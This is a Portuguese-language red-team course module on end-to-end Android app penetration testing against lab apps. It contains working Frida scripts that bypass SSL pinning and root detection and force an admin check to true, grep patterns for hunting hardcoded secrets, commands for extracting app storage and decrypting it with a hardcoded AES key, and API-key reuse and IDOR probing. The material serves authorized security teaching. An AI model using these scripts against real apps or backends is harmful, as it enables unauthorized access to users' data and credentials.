Mobile Hacking
10/09/2026
5 min read

MÓDULO 16 — MOBILE HACKING (Android: fluxo completo de teste de APK com Frida)

Team Hacking78

Especialistas em Red Teaming

Resumo Executivo (TL;DR)

Teste de aplicativos Android de ponta a ponta: obtenção do APK, análise estática de manifesto e código, interceptação de tráfego, análise dinâmica com Frida (bypass de root detection e SSL pinning) e exploração de falhas. Entenda o modelo de ameaça onde o cliente não é confiável e a API é o verdadeiro alvo.

MÓDULO 16 — MOBILE HACKING (Android: fluxo completo de teste de APK com Frida)

Objetivo

Testar um aplicativo Android de ponta a ponta — obter o APK, analisar estaticamente (manifesto, código, segredos), interceptar e manipular o tráfego HTTPS, analisar dinamicamente com Frida (bypass de root detection e SSL pinning) e explorar as falhas encontradas até extrair dados/credenciais.

---

MÓDULO 16 — MOBILE HACKING: Tópico 1 — O que muda no mobile (e o que não muda)

O que não muda: as vulnerabilidades de backend (API, autenticação, lógica) são as mesmas do Módulo 8 — o app é só um cliente. A API é o verdadeiro alvo.

O que muda — o modelo de ameaça mobile:

text
Hacking78 Snippet
App no dispositivo do usuário (que VOCÊ controla no teste)
  → intercepta tudo (tráfego, storage, memória)
  → o "cliente" não é confiável: qualquer segredo no app é extraível
  → o servidor precisa se proteger de um cliente hostil

As classes de falha mais comuns em apps (OWASP Mobile Top 10):

text
Hacking78 Snippet
M1 Credenciais/senhas fracas de autenticação (lado servidor)
M2 Falha em criptografia (algoritmos fracos, chaves hardcoded)
M3 Proteção insuficiente de dados em trânsito (sem TLS, sem pinning)
M4 Autenticação/autorização inseguras (IDOR na API, tokens fracos)
M5 Controle criptográfico insuficiente (storage inseguro)
M6 Comunicação insegura
M7 Engenharia reversa fraca (root detection/emulador facilmente bypassados)
M8 Código adulterável (repackaging fácil)
M9 Dados em excesso (coleta desnecessária — LGPD!)
M10 Lógica de negócio insegura (flows abusáveis)
  • Na prática, os 4 achados que mais rendem:
  • Segredos hardcoded (API keys, tokens, senhas) ← análise estática
  • Storage inseguro (SharedPreferences, SQLite em claro) ← análise estática/dinâmica
  • Ausência de SSL pinning → interceptação total ← dinâmica
  • APIs sem auth/IDOR no backend ← após interceptar

Regra de ouro do teste: o backend é o limite do escopo. Interceptar o app é permitido; atacar a API do cliente é permitido se estiver no escopo (Módulo 3). O app é a porta; a API é o cofre.

---

MÓDULO 16 — MOBILE HACKING: Tópico 2 — Fundamentos Android — o mínimo para não se perder

Estrutura de um APK:

text
Hacking78 Snippet
app.apk (ZIP)
├── AndroidManifest.xml   ← permissões, componentes, configurações (COMPILADO — precisa decodificar)
├── classes.dex          ← o código executável (Dalvik/ART) — precisa decompilar
├── res/                 ← recursos (layouts, strings, imagens)
├── assets/              ← arquivos do app (às vezes com segredos!)
├── lib/                 ← bibliotecas nativas (.so — análise difícil)
└── META-INF/            ← assinatura (a chave do repackaging)

O modelo de segurança (o que o atacante explora):

  • Sandbox: cada app roda isolado (por UID) → apps não leem dados uns dos outros (mas: root/backup/ADB quebram essa barreira)
  • Permissões: o manifesto declara o que o app pode (INTERNET, LOCATION, SMS...)
  • Componentes: Activity, Service, Receiver, Provider — se EXPORTADOS sem proteção, outros apps podem invocá-los (ex.: activity de login, provider de dados)
  • O usuário é o dono do dispositivo → root desbloqueia tudo (é por isso que os apps tentam detectar root — e por isso você aprende a burlar a detecção)

As 3 perguntas que guiam a análise estática:

text
Hacking78 Snippet
1. O que o app PODE fazer?      → manifesto (permissões, componentes exportados)
2. O que o app GUARDA?          → storage, SharedPreferences, SQLite, assets
3. O que o app CONVERSA?        → endpoints de API, keys, certificados, pinning

---

MÓDULO 16 — MOBILE HACKING: Tópico 3 — LAB — montando o ambiente de teste (faça agora)

Topologia:

text
Hacking78 Snippet
Kali (192.168.56.101)  ← ferramentas: jadx, apktool, frida, mobsf, burp
Android Emulator (AVD rooted, 10.0.2.2 = host)  ← app de teste
     │
     └── Burp no Kali (proxy) ← app aponta para o proxy (via emulador)

Passo 1 — Emulador com root (o padrão de teste):

bash
Hacking78 Snippet
# Opção A — Android Studio AVD (recomendado):
# 1. Instale: sudo apt install android-sdk (ou Android Studio completo)
# 2. Crie um AVD com uma imagem "Google APIs" (já permite adb root)
sdkmanager "system-images;android-33;google_apis;x86_64"
avdmanager create avd -n test_pixel -k "system-images;android-33;google_apis;x86_64" --device pixel_6
# 3. Inicie:
emulator -avd test_pixel -no-snapshot -no-boot-anim

# Opção B — Genymotion (fácil, gratuito para uso pessoal) — já vem rooted

# Verificar ADB e root:
adb devices                 # lista dispositivos
adb root                    # reinicia o adbd como root (imagens Google APIs)
adb shell whoami            # → root
adb shell getprop ro.debuggable

Passo 2 — Instalar o app de teste:

bash
Hacking78 Snippet
adb install app-debug.apk
# ou para substituir mantendo dados:
adb install -r app-debug.apk

Passo 3 — O app de treino (o "DVWA mobile"):

OWASP Juice Shop (web/mobile — tem versão mobile e APIs vulneráveis) ou Injured Android / UnCrackable (OWASP MASTG) — apps deliberadamente vulneráveis, perfeitos para este fluxo. Baixe um APK de lab do MASTG-Hacker (github OWASP/MASTG) — é o alvo oficial deste módulo.

---

MÓDULO 16 — MOBILE HACKING: Tópico 4 — A CAIXA DE FERRAMENTAS (o arsenal completo)

bash
Hacking78 Snippet
# No Kali (instale o que faltar):
sudo apt install adb apktool jadx  # (jadx pode ser manual: github skylot/jadx)
# frida (client) + ferramentas:
pipx install frida-tools objection
# MobSF (opcional, análise automática — Docker):
docker pull ghcr.io/mobsf/mobsf && docker run -p 8000:8000 ghcr.io/mobsf/mobsf
# Drozer (agente no emulador + console no Kali) — para atacar componentes expostos
FerramentaPapel no fluxo
jadxDecompilar DEX → código Java legível (a análise principal)
apktoolDecodificar recursos + smali (para modificar/repack)
adbInstalar, shell, logcat, pull/push, screenshots
BurpProxy HTTPS + manipulação (Módulo 8)
FridaInstrumentação dinâmica: hooks em runtime (o coringa)
objectionExplorar o app sem escrever script (Frida por cima)
MobSFRelatório automático estático+dinâmico (triagem rápida)
DrozerAtacar componentes expostos (activities/services/providers)

---

MÓDULO 16 — MOBILE HACKING: Tópico 5 — FLUXO COMPLETO — Passo a Passo

PASSO 0 — Escopo e legal

  • O app é do cliente? (ou você tem autorização escrita — Módulo 3)
  • O backend (API) está no escopo? (domínios/IPs autorizados)
  • Testar em device próprio/emulador (NUNCA no celular pessoal de outra pessoa)
  • LGPD: dados de usuários reais coletados durante o teste → minimizar, documentar

PASSO 1 — Obter o APK

bash
Hacking78 Snippet
# a) Do seu próprio aparelho (se você tem o app instalado):
adb shell pm list packages | grep -i nome          # achar o pacote
adb shell pm path com.empresa.app                  # caminho do APK
adb pull /data/app/com.empresa.app-xxx/base.apk app.apk

# b) De um dispositivo/emulador com o app instalado:
#    (mesmo comando acima)

# c) De lojas alternativas (somente apps SEUS ou do escopo!):
#    APKMirror, APKPure — para obter APKs de apps que você testa
#    ⚠️ Baixar de terceiros = risco de APK adulterado; para pentest,
#    prefira extrair do dispositivo oficial ou pedir o APK ao cliente

# d) Do Play Store via ferramentas (apkeep):
apkeep -a com.empresa.app

PASSO 2 — Análise estática: o manifesto (5 minutos que valem ouro)

bash
Hacking78 Snippet
# Decodificar recursos e manifesto:
apktool d app.apk -o app_apktool
# O manifesto decodificado fica em:
cat app_apktool/AndroidManifest.xml

O que procurar (o checklist do manifesto):

xml
Hacking78 Snippet
<!-- 1. Permissões EXCESSIVAS (o app pode fazer demais?) -->
<uses-permission android:name="android.permission.SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<!-- 2. Componentes EXPORTADOS sem proteção (outros apps podem invocar) -->
<activity android:name=".LoginActivity" android:exported="true"/>
<provider android:name=".DataProvider" android:exported="true"/>
<service android:name=".SyncService" android:exported="true"/>

<!-- 3. Flags de segurança -->
android:debuggable="true"        <!-- app em modo debug em produção = problema -->
android:allowBackup="true"       <!-- backup do app extraível via adb (dados!) -->
android:usesCleartextTraffic="true"  <!-- HTTP em claro permitido! -->

<!-- 4. Network Security Config (permite HTTP? pinning?) -->
android:networkSecurityConfig="@xml/network_security_config"

Ferramenta de triagem: jadx já mostra o manifesto legível; o MobSF gera o relatório automático de permissões e componentes.

PASSO 3 — Análise estática: o código (jadx — onde estão os segredos)

bash
Hacking78 Snippet
# Decompilar o DEX para código Java:
jadx -d app_jadx app.apk
# Resultado: app_jadx/sources/com/empresa/app/... (código legível)

O que procurar (a caçada de segredos):

bash
Hacking78 Snippet
# 1. Strings suspeitas (API keys, tokens, URLs, senhas):
grep -rniE "api[_-]?key|secret|token|password|senha|AKIA|sk-|Bearer" app_jadx/sources/
# 2. Endpoints (a superfície de API):
grep -rhoE "https?://[a-zA-Z0-9./_-]+" app_jadx/sources/ | sort -u
# 3. Chaves de criptografia:
grep -rniE "AES|DES|RSA|secretKey|keyStore|IV|Cipher" app_jadx/sources/
# 4. Referências a storage:
grep -rniE "SharedPreferences|SQLite|getWritableDatabase|FileOutputStream|MODE_PRIVATE" app_jadx/sources/
# 5. Strings em resources e assets:
grep -rniE "senha|password|secret|key" app_apktool/res/values/strings.xml
ls -la app_apktool/assets/   # arquivos escondidos no assets!

Achados clássicos nesta etapa:

text
Hacking78 Snippet
- API key hardcoded em código/strings.xml → usar direto na API (ex.: Google Maps, AWS)
- Endpoint de admin ou staging esquecido → superfície extra
- Chave AES hardcoded → descriptografar dados locais
- Token de push/firebase → enviar notificações falsas
- Credenciais de teste → acesso a backend

Exemplo real (didático):

java
Hacking78 Snippet
// app_jadx/sources/com/empresa/app/Config.java
public class Config {
    public static final String API_BASE = "https://api.empresa.com/v2/";
    public static final String API_KEY = "sk_live_4f8a1b2c3d4e5f6a7b8c9d0e"; // ← ACHADO!
    public static final String ENCRYPTION_KEY = "MinhaChaveSecreta123";        // ← ACHADO!
}

Validação (Módulo 6 mentalidade): a chave encontrada funciona? Teste com curl contra a API (se no escopo). Chave de Maps → curl na API do Google. Chave de cripto → descriptografe o storage local (Passo 6).

PASSO 4 — Análise dinâmica: interceptar o tráfego (Burp + emulador)

Objetivo: ver e manipular TODAS as requisições do app (e achar a API por trás).

bash
Hacking78 Snippet
# 1. Burp no Kali: Proxy → 0.0.0.0:8080 (Módulo 8.2)
# 2. No emulador, aponte o proxy para o host:
adb shell settings put global http_proxy 10.0.2.2:8080
#    (10.0.2.2 = o host visto de dentro do emulador AVD)
# 3. Instale a CA do Burp no Android:
#    - Exporte a CA (der) no Burp
#    - Converta para .cer e instale como certificado de usuário:
#      (Settings → Security → Install from storage)
#    - Para apps que só aceitam CA de sistema (root):
#      adb root && adb remount
#      openssl x509 -inform DER -in cacert.der -out cacert.pem
#      HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
#      adb push cacert.pem /system/etc/security/cacerts/$HASH.0
#      adb shell chmod 644 /system/etc/security/cacerts/$HASH.0
# 4. Abra o app → as requisições aparecem no Burp HTTP History

O que analisar no Burp:

text
Hacking78 Snippet
- Todos os endpoints da API (mapeie com o Site Map)
- Parâmetros: tokens, IDs de usuário (IDOR — Módulo 8), campos sensíveis
- Headers de auth: como o token é enviado? (Bearer? fixo? fraco?)
- Dados em claro (se usesCleartextTraffic=true → HTTP puro)
- Respostas: dados vazados desnecessariamente (LGPD)

E se o tráfego não aparecer? É SSL pinning (o app só aceita o certificado dele). O bypass é o Passo 7 — e é aí que o Frida entra.

PASSO 5 — Frida: o coringa da análise dinâmica

O que é: Frida injeta JavaScript em processos Android para interceptar funções em runtime — sem modificar o APK, sem reinstalar. Você vê argumentos, retornos, e muda o comportamento do app na hora.

5.1 Instalação (device + host)

bash
Hacking78 Snippet
# 1. No Kali (host):
pipx install frida-tools
frida --version        # anote a versão (ex.: 16.x)

# 2. No dispositivo: baixe o frida-server da MESMA versão
#    https://github.com/frida/frida/releases → frida-server-<versão>-android-x86_64.xz
#    (x86_64 para emulador; arm64 para celular real)

# 3. Empurre e rode no device:
adb push frida-server /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"

# 4. Testar (do Kali):
frida-ps -U          # lista processos no device (U = USB)

5.2 Os comandos essenciais

bash
Hacking78 Snippet
frida-ps -U                            # processos (ache o pacote do app)
frida-trace -U -i "open" com.empresa.app    # rastrear chamadas a open()
frida -U com.empresa.app                # console interativo (Frida REPL)

5.3 O script básico (hook de função — o molde de tudo)

python
Hacking78 Snippet
# hook_exemplo.py — rode com: frida -U -l hook_exemplo.py com.empresa.app
import frida
import sys

def on_message(message, data):
    print(message)

js = """
Java.perform(function () {
    console.log("[*] Hook instalado");

    // Hook de um método de uma classe
    var Classe = Java.use("com.empresa.app.Config");
    Classe.getApiKey.implementation = function () {
        console.log("[*] getApiKey() foi chamada!");
        var ret = this.getApiKey();
        console.log("[*] Valor real: " + ret);
        return ret;   // ou: return "CHAVE_FALSA"; para manipular
    };

    // Hook de uma classe anônima/método sobrecarregado:
    var Cipher = Java.use("javax.crypto.Cipher");
    Cipher.doFinal.overload('[B').implementation = function (data) {
        console.log("[*] doFinal chamado, dados: " + bytesToHex(data));
        return this.doFinal(data);
    };
});
"""

session = frida.get_usb_device().attach("com.empresa.app")
script = session.create_script(js)
script.on("message", on_message)
script.load()
sys.stdin.read()

O padrão mental do Frida:

text
Hacking78 Snippet
1. Ache a classe/método no jadx (ex.: Config.getApiKey())
2. Hook com Java.use("...") + .implementation
3. Leia argumentos/retorno → dados que o app usa em runtime
4. Modifique o retorno → burlar a lógica do app

PASSO 6 — Bypass de SSL Pinning com Frida (o mais pedido)

Quando o tráfego não aparece no Burp, o app faz pinning (só confia no certificado dele). Bypass clássico — hook nos verificadores de certificado:

js
Hacking78 Snippet
// ssl_pinning_bypass.js — rode com: frida -U -l ssl_pinning_bypass.js com.empresa.app
Java.perform(function () {
    console.log("[*] Bypass de SSL pinning");

    // Método 1 — TrustManager (o bypass mais comum)
    var TrustManager = Java.registerClass({
        name: "com.empresa.TrustAll",
        implements: [Java.use("javax.net.ssl.X509TrustManager")],
        methods: {
            checkClientTrusted: function (chain, authType) {},
            checkServerTrusted: function (chain, authType) {},
            getAcceptedIssuers: function () { return []; }
        }
    });
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload(
        '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;',
        'java.security.SecureRandom'
    ).implementation = function (km, tm, sr) {
        this.init(km, [TrustManager.$new()], sr);
    };

    // Método 2 — OkHttp (o mais usado em apps modernos)
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    OkHttpClient.newCall.implementation = function (request) {
        console.log("[*] Requisição: " + request.url().toString());
        return this.newCall(request);
    };
    // (burlar a CertificatePinner, se existir:)
    var CertificatePinner = Java.use("okhttp3.CertificatePinner");
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function (h, p) {
        console.log("[*] CertificatePinner ignorado para " + h);
    };
});

O caminho mais rápido — objection (Frida sem escrever script):

bash
Hacking78 Snippet
# objection automatiza o bypass de pinning e muito mais:
objection -g com.empresa.app explore
# dentro do console:
android sslpinning disable        # bypass de pinning (OkHttp/TrustManager)
android root disable              # bypass de root detection
android hooking list activities   # lista activities
android hooking search classes "password"

Depois do bypass: reabra o app → o tráfego aparece no Burp → continue a análise de API (IDOR, auth, lógica).

PASSO 7 — Bypass de Root Detection com Frida

Apps bancários/financeiros detectam root e se recusam a rodar. Bypass hookando as checagens:

js
Hacking78 Snippet
// root_bypass.js
Java.perform(function () {
    console.log("[*] Bypass de root detection");

    // Hook no File (as checagens de /system/xbin/su, /system/app/Superuser.apk...)
    var File = Java.use("java.io.File");
    File.exists.implementation = function () {
        var path = this.getAbsolutePath();
        if (path.indexOf("su") !== -1 || path.indexOf("Superuser") !== -1 ||
            path.indexOf("magisk") !== -1) {
            console.log("[*] Bloqueando checagem de: " + path);
            return false;
        }
        return this.exists();
    };

    // Hook no Runtime.exec (checagens que rodam "which su")
    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
        console.log("[*] exec: " + cmd);
        if (cmd.indexOf("su") !== -1) throw new Error("bloqueado");
        return this.exec(cmd);
    };

    // Se o app usa SafetyNet/Play Integrity: hook no resultado
    // (técnicas mais avançadas — depois do básico)
});

Observação honesta: apps modernos com Play Integrity/SafetyNet exigem técnicas mais avançadas (frida-gadget, objection, hooks mais profundos, ou emulador com Magisk + modules). Para este módulo, o padrão File.exists + Runtime.exec cobre 80% dos apps de teste.

PASSO 8 — Análise do storage local (onde o app guarda os segredos)

bash
Hacking78 Snippet
# 1. Dados do app no device (precisa de root para tudo):
adb root
adb shell "find /data/data/com.empresa.app -type f" | head -50

# 2. SharedPreferences (o esconderijo nº 1):
adb shell "cat /data/data/com.empresa.app/shared_prefs/*.xml"

# 3. Bancos SQLite (o esconderijo nº 2):
adb shell "ls /data/data/com.empresa.app/databases/"
adb shell "sqlite3 /data/data/com.empresa.app/databases/app.db '.tables'"
adb pull /data/data/com.empresa.app/databases/app.db .
sqlite3 app.db "SELECT * FROM usuarios;"

# 4. Arquivos em claro (o esconderijo nº 3):
adb shell "ls -la /data/data/com.empresa.app/files/"
adb pull /data/data/com.empresa.app/files/ .

# 5. Cache e logs (o esconderijo nº 4):
adb shell "ls /data/data/com.empresa.app/cache/"
adb logcat | grep -i "token|password|key"    # logs com dados!

Achados clássicos:

text
Hacking78 Snippet
- Token de sessão/API em SharedPreferences (em claro)
- Senhas/CPF em SQLite (em claro ou com chave hardcoded)
- Backups do app extraíveis (allowBackup=true) → dados mesmo sem root:
  adb backup -f backup.ab com.empresa.app   (depois: java -jar abe.jar unpack)
- Logcat vazando tokens de OAuth

Com a chave do Passo 3 (AES hardcoded): descriptografe os dados criptografados locais:

python
Hacking78 Snippet
# descriptografar.py — usando a chave encontrada na análise estática
from Crypto.Cipher import AES
import base64

chave = b"MinhaChaveSecreta123"          # do jadx (ACHADO)
dados = base64.b64decode("c2VjcmV0bw==") # do SQLite (ACHADO)

cipher = AES.new(chave, AES.MODE_ECB)    # (ECB é outra falha para reportar)
print(cipher.decrypt(dados))

PASSO 9 — Exploração (o que fazer com os achados)

a) Reaproveitar a API key hardcoded:

bash
Hacking78 Snippet
# Chave encontrada no código → usar na API do cliente (se no escopo):
curl -H "X-API-Key: sk_live_4f8a..." https://api.empresa.com/v2/usuarios
curl -H "Authorization: Bearer <token_do_storage>" https://api.empresa.com/v2/meus-dados
# → IDOR (Módulo 8): trocar o ID e acessar dados de OUTROS usuários

b) Manipular a lógica com Frida (burlar o que o app verifica):

js
Hacking78 Snippet
// Exemplo: o app só mostra "admin" se isAdmin() == true
Java.perform(function () {
    var User = Java.use("com.empresa.app.model.User");
    User.isAdmin.implementation = function () {
        console.log("[*] isAdmin() forçado para true");
        return true;
    };
});

c) Repackaging (o teste de integridade):

bash
Hacking78 Snippet
# 1. Modificar o smali (apktool decodificou em Passo 2):
sed -i 's/const/.../' app_apktool/smali/com/empresa/app/Config.smali
# 2. Recompilar:
apktool b app_apktool -o app_mod.apk
# 3. Assinar (apksigner):
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
apksigner sign --ks test.keystore --ks-pass pass:senha app_mod.apk
# 4. Instalar no emulador:
adb install app_mod.apk
# 5. Se o app roda normalmente → o app NÃO valida assinatura (falha M8 — código adulterável)

d) Drozer (componentes exportados — um app chama o outro):

bash
Hacking78 Snippet
# Instalar o agente (drozer.apk) no emulador + console no Kali
drozer console connect
# Listar superfície de ataque:
run app.package.attacksurface com.empresa.app
# Explorar um provider exportado (SQL injection / acesso a dados):
run app.provider.query content://com.empresa.app.provider/usuarios
# Invocar activity exportada sem permissão:
run app.activity.start --component com.empresa.app com.empresa.app.LoginActivity

PASSO 10 — Relatório (a entrega)

  • Estrutura (adaptada do Módulo 3):
  • Escopo: app (pacote, versão), device/emulador, API (domínios autorizados)
  • Metodologia: estática (jadx/apktool) + dinâmica (Burp/Frida/adb) + storage
  • Achados (cada um com: classe, evidência, impacto, correção):
  • - Segredo hardcoded (API key em Config.java) → P1
  • - Storage inseguro (token em SharedPreferences em claro) → P1
  • - Sem SSL pinning (interceptação total via Burp) → P2
  • - allowBackup=true (dados extraíveis via adb backup) → P2
  • - Componente exportado sem proteção (provider com dados) → P2
  • - usesCleartextTraffic (HTTP em claro) → P2
  • - Root detection fraca (bypass trivial com Frida) → P3
  • - App sem validação de assinatura (repack funciona) → P3
  • A cadeia de exploração demonstrada (ex.: key hardcoded → API → IDOR → dados)
  • Correções: Secret Manager, storage criptografado (Keystore), pinning, allowBackup=false, restringir export, network security config, Play Integrity

---

MÓDULO 16 — MOBILE HACKING: Tópico 6 — Automatização — MobSF (o "OpenVAS" do mobile)

O MobSF roda análise estática automática e gera relatório com achados de manifesto, código, libs, segredos:

bash
Hacking78 Snippet
# Já baixado no 16.4; acesse http://localhost:8000
# Upload do APK → aguarde → relatório:
#   - Manifest issues (exported, backup, cleartext, debuggable)
#   - Code analysis (hardcoded secrets, crypto fraco, URLs)
#   - Binary analysis (libs nativas, assinatura)
# Use como TRIAGEM; confirme cada achado manualmente (Módulo 6 mentalidade)

---

MÓDULO 16 — MOBILE HACKING: Tópico 7 — O fluxo completo em uma tabela (cola de referência)

PassoAçãoFerramentaPergunta respondida
1Obter APKadb pull / apkeepOnde está o binário?
2Manifestoapktool / jadxO que o app pode? O que exporta?
3Códigojadx + grepQue segredos o app guarda?
4InterceptarBurp + proxyCom quem o app conversa?
5InstrumentarFridaO que acontece em runtime?
6Bypass pinningFrida / objectionComo ver o tráfego escondido?
7Bypass rootFridaComo rodar o app no emulador?
8Storageadb + sqliteO que o app salva em claro?
9Explorarcurl / Frida / drozerQue impacto real os achados têm?
10Relatóriomodelo Módulo 3O que o cliente corrige?

---

MÓDULO 16 — MOBILE HACKING: Tópico 8 — Atividade prática do Módulo 16

Alvo: app de LAB (Injured Android, UnCrackable, ou um APK SEU). Nunca um app de terceiros sem autorização.

  • Setup: emulador AVD + adb + frida-server (16.3/16.5) — confirme frida-ps -U listando o app
  • Estática: apktool d + jadx no APK de lab; liste permissões, componentes exportados, flags (debuggable, backup, cleartext)
  • Segredos: rode os greps do Passo 3; encontre 2+ segredos (key/token/endpoint) e documente onde vivem
  • Interceptação: Burp + proxy no emulador; navegue o app; mapeie os endpoints no Site Map
  • Bypass pinning: se o app de lab tem pinning, aplique o script do Passo 6 (ou objection) e veja o tráfego
  • Bypass root: se o app bloqueia no emulador root, aplique o script do Passo 7 (ou objection android root disable)
  • Storage: explore /data/data/<pacote>/ (shared_prefs, databases, files, cache); extraia o que estiver em claro
  • Exploração: use a API key/token achados contra a API do app de lab (ou o backend de lab) — teste IDOR trocando IDs (Módulo 8)
  • Repack: modifique algo no smali, recompile, assine, instale — o app aceita?
  • MobSF: rode o relatório automático e compare com seus achados manuais
  • Desafio — o teste completo documentado: crie mobile_report.md em ~/pentest/evidencias/mobile/ com:
  • - escopo (app, versão, device, API) + metodologia
  • - análise estática: manifesto (tabela de permissões/componentes/flags) + segredos encontrados (com caminho no código)
  • - análise dinâmica: endpoints mapeados, tráfego interceptado (screenshot do Burp), bypasses aplicados (scripts usados)
  • - storage: tabela de dados encontrados (local, formato, sensibilidade)
  • - exploração: a cadeia completa (ex.: segredo → API → IDOR → dados de outros usuários) com evidências
  • - correções priorizadas (tabela) e referência ao OWASP Mobile Top 10 de cada achado

Resposta esperada: um pentest de app reproduzível — do APK ao dado extraído, com cada etapa documentada.

---

📌
Resumo Prático: A segurança em aplicações móveis baseia-se na premissa de que o dispositivo não é um ambiente confiável. Ferramentas como jadx (para engenharia reversa do código), apktool (para análise de manifesto e repackaging), Burp Suite (para interceptação do tráfego backend) e, sobretudo, Frida (para instrumentação e manipulação em tempo de execução) formam o canivete suíço essencial para a exploração em Android. Ao invés de focar no aplicativo isoladamente, o teste deve abranger o fluxo de ponta a ponta: do armazenamento interno (SQLite, SharedPreferences) até a API que o alimenta. Superar mecanismos como SSL Pinning e Root Detection com scripts de Frida permite revelar a superfície real de ataque no backend, transformando o aplicativo em uma porta de entrada para a infraestrutura.

---

✅ Checklist de conclusão do Módulo 16

  • Entendo o modelo de ameaça mobile (o cliente não é confiável; a API é o alvo)
  • Montei emulador com root + adb + frida-server
  • Obtenho o APK (dispositivo/emulador/loja)
  • Decodifico com apktool e decompilo com jadx
  • Leio o manifesto (permissões, exported, debuggable, backup, cleartext)
  • Caço segredos no código (keys, tokens, endpoints, chaves de cripto)
  • Intercepto HTTPS com Burp (proxy + CA no emulador)
  • Uso Frida: hooks básicos (Java.use, implementation, argumentos/retorno)
  • Bypasso SSL pinning (script Frida ou objection)
  • Bypasso root detection (script Frida ou objection)
  • Analiso storage (SharedPreferences, SQLite, files, logcat, backup)
  • Exploro: API key/token → API, IDOR, repackaging, drozer
  • Uso MobSF como triagem e confirmo manualmente
  • Documento achados com OWASP Mobile Top 10 e correções

Perguntas Frequentes (FAQ)

Qual a diferença entre a segurança de um Web App e um Mobile App?

A principal diferença é o controle do ambiente. Em web, o código crítico fica no servidor. Em mobile, o binário (APK) inteiro está nas mãos do usuário, podendo ser revertido (decompilado), manipulado em tempo de execução (Frida) e inspecionado. Qualquer segredo criptográfico ou regra de negócio validada apenas no app (lado cliente) será inevitavelmente quebrada por um atacante.

O que é Frida e por que é essencial no Pentest Mobile?

Frida é um framework de instrumentação dinâmica (DBI). Ele permite injetar scripts (JavaScript/Python) diretamente na memória de um aplicativo em execução, hookar funções, interceptar argumentos e modificar o comportamento original do código em tempo real. Isso é vital para burlar detecções de root, remover SSL Pinning e entender o fluxo interno sem precisar modificar e recompilar o APK.

Como funciona o bypass de SSL Pinning e por que ele é necessário?

O SSL Pinning é uma técnica onde o app só confia em um certificado SSL específico, rejeitando proxies como o Burp Suite, mesmo que a CA do Burp esteja instalada no sistema. Para bypassar, usa-se o Frida para interceptar as funções de verificação (como TrustManager ou classes do OkHttp) e forçar o aplicativo a retornar 'True', permitindo assim a interceptação em claro do tráfego HTTP/REST.

Qual o impacto de dados salvos em SharedPreferences sem criptografia?

O SharedPreferences salva dados em arquivos XML locais. Embora, teoricamente, eles sejam protegidos pelo Sandbox do Android (acessíveis apenas pelo próprio app), dispositivos rooteados ou vulnerabilidades de backup (allowBackup=true) permitem que atacantes extraiam esses arquivos, expondo tokens de autenticação persistentes, chaves PII ou senhas salvas em texto claro.